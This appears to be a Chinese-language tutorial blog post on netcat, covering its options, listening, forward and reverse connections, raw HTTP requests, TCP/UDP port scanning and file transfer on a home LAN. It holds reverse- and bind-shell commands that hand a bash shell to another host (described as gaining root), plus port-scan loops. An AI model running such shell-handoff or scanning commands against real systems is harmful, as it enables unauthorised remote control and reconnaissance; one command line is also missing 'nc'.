前言
nc即netcat
的简写,在网络安全领域被冠以"瑞士军刀"的美名,引用一句二次元格言–"你的想象力是局限nc的瓶颈"。nc工作在OSI
模型第四层,可以实现任意TCP/UDP
端口的监听,亦可拿来做端口扫描、shell
反弹等。本文将全面介绍nc各个参数用法,及实际工作中的常见案例。
一、nc各个选项解读
以下是nc各个参数的详细解释:
参数 | 含义 |
---|---|
-c shell commands | shell模式 |
-e filename | 程序重定向 |
-b | 允许广播 |
-g gateway | 源路由跃点数,不超过8 |
-G num | 源路由指向器,4的倍数 |
-i secs | 设置延时间隔,单位秒 |
-k | 设置在socket上的存活选项 |
-l | 监听模式 |
-n | 数字形式表示IP地址,不做DNS反解 |
-o file | 将传输数据以16进制形式保存到文件 |
-p port | 设置本地主机使用的端口 |
-r | 随机指定本地与远端主机的通信端口 |
-q secs | 在延迟后退出stdin |
-s addr | 指定本地源地址 |
-T tos | 设置服务类型 |
-t | 以telnet形式应答请求 |
-u | UDP模式 |
-v | 显示详细信息,使用-vv更详细 |
-w sec | 设置等待超时时间 |
-z | I/O模式,仅在扫描时使用 |
二、监听模式
1.开始监听端口
用法:
$ nc -lv -n -p 888 #监听本地888端口,-v显示详细连接信息,-n不做dns反解
listening on [any] 888 ...
向目标主机主动发送shell
:
$ nc -lvp 1000 192.168.1.1 -c bash #当192.168.1.1连接本机1000端口时,本机会将bash发送给1.1这台机器
当openwrt
连接到debian
时,已经拿到了debian
的root权限:
2.正向和反向连接
正向连接:
$ nc -nv 192.168.1.197 888 #连接对端888端口
192.168.1.197 888 open
此时nc打开了一条TCP
连接,在服务端或客户端输入文本信息会同步到两端的屏幕输出上:
这种现象亦可称之为黑白对话,点对点即时聊天,如果对终端聊天感兴趣,可以了解下IRC。
反向连接:
服务端监听888
端口:
$ nc -lvp 888 #监听888端口
客户端发送一个bash控制权给服务端:
$ nc -nv 192.168.1.197 888 -c bash #执行完后,此时client端被server端控制,把bash主动交给server
从第一个包不难看出,1.197
主动向1.1
申请建立连接,建连后1.1
拿到对端bash
权限,来回PUSH
几次数据后1.197
主动断开连接,因为这时候在1.197
侧按了ctrl + c
,进程接收到SIGINT
信号后终止运行,向对端发送FIN,ACK
包:
3.交互和非交互请求
交互请求
在建立连接后,可执行相关协议命令进行实时请求,如HTTP
:
GET
静态资源,指定HTTP
协议版本和主机头
非交互请求
使用GET
方法,请求ifconfig.co
获取本机外网IP及地理信息:
$ echo -e "GET /json HTTP/1.0\r\nHost: ifconfig.co\r\n\r\n" | nc ifconfig.co 80
HTTP/1.1 200 OK
Date: Mon, 21 Sep 2020 12:40:01 GMT
Content-Type: application/json
Connection: close
Set-Cookie: __cfduid=dac968f89c1817c9a0a642387249ecd961604661421; expires=Sun, 21-Sep-20 12:40:01 GMT; path=/; domain=.ifconfig.co; HttpOnly; SameSite=Lax
vary: Accept-Encoding
...略
{
"ip":"103.116.47.52",
"ip_decimal":1735667508,
"country":"Hong Kong",
"country_iso":"HK",
"country_eu":false,
"region_name":"Central and Western District",
"region_code":"HCW",
"city":"Central",
"latitude":22.2795,
"longitude":114.146,
"time_zone":"Asia/Hong_Kong",
"asn":"AS140096",
"asn_org":"Jinx Co. Limited"
}
$
通过标准输出管道给nc处理,开了本地代理,因此拿到是一个香港IP
三、端口扫描
1.TCP扫描
无需特意指定扫描类型,默认为TCP扫描:
$ nc -v 192.168.1.1 80 #探测对端80是否开放
$ nc -nvz 192.168.1.1 80 #-n不做dns反解,-z探测后退出
$ nc -nvz 192.168.1.1 1-100 #指定扫描端口范围
(UNKNOWN) [192.168.1.1] 81 (?) open
(UNKNOWN) [192.168.1.1] 80 (http) open
(UNKNOWN) [192.168.1.1] 53 (domain) open
(UNKNOWN) [192.168.1.1] 22 (ssh) open
(UNKNOWN) [192.168.1.1] 21 (ftp) open
$
整个扫描过程通过SYN
包进行:
由于-n
参数不做反向解析,因此第一列都会显示(UNKNOWN)
,表示不知道该IP反解的域名,比较碍眼,可通过管道过滤下数据:
$ nc -nvz 192.168.1.1 1-100 |&grep -Po '(?<=\)\s).*' #nc默认输出为STDERR,因此用|&处理,awk打印$2,$3,$4亦可
[192.168.1.1] 81 (?) open
[192.168.1.1] 80 (http) open
[192.168.1.1] 53 (domain) open
[192.168.1.1] 22 (ssh) open
[192.168.1.1] 21 (ftp) open
$
设置超时时间(-w
)
通过-w
参数指定超时时间,在更偏向于速度而不是准确率的场景可使用该参数:
$ nc -nvz -w 1 192.168.1.1 1-100 #设置每个端口最多扫描1s
(UNKNOWN) [192.168.1.1] 81 (?) open
(UNKNOWN) [192.168.1.1] 80 (http) open
(UNKNOWN) [192.168.1.1] 53 (domain) open
(UNKNOWN) [192.168.1.1] 50 (re-mail-ck) : Connection timed out
(UNKNOWN) [192.168.1.1] 24 (?) : Connection timed out
(UNKNOWN) [192.168.1.1] 22 (ssh) open
(UNKNOWN) [192.168.1.1] 21 (ftp) open
$
24
、50
端口都超过1s,因此放弃扫描,使用timeout
命令可限制整个nc
命令的执行时间,但这种需求场景并不多
2.UDP扫描
需指定-u
参数:
$ nc -nvz -u 192.168.1.1 53
(UNKNOWN) [192.168.1.1] 53 (domain) open
向目标端53端口发送一个UDP
探测包,报文中可以看到显示为DNS
协议,DNS
大多数情况都是以UDP
方式运行,除非返回的数据超过512字节,则会使用TCP
,重传切割数据。openwrt
上看DNS
服务确实以TCP
、UDP
两种模式运行:
因此使用tcp、udp扫描都有对应的端口响应。
四、文件传输
1.通过STDIN/STDOUT
传输文件
$ nc -lvp 10101 < test.1 #服务端监听10101端口
$ nc 192.168.1.197 10101 > test.1 #客户端请求服务端10101端口并将输出定向到文件
2.压缩打包传输
批量传输要压缩的文件,在到达对方后通过管道解压:
$ nc -lvp 10102 |tar xz #接收端先监听本地端口,对端传过来的数据通过tar解压
$ tar -zc ./* | nc -v 192.168.1.1 10102 #发送端打包当前路径下的所有文件,通过nc发送给接收端
五、拓展及总结
结合前面所讲,总结一些组合拳用法:
每秒探测一次对端80端口:
$ while :;do nc -vz -w 3 192.168.1.1 80 &>/dev/null && echo -e '80 is up';sleep 1;done
同时也可以指定端口:
$ while :;do for port in 80 443 22;do nc -vz -w 3 192.168.1.1 $port &>/dev/null && echo -e "$port is up";sleep 1;done;done #也可以将for循环输入写成文件读取:$(cat file)
后台开启端口监听:
$ nohup -lp 8080 &>/dev/null &
批量写成循环即可,从文件读取要开启监听的端口:
$ while read port;do nohup nc -lp $port &>/dev/null &;done < port.list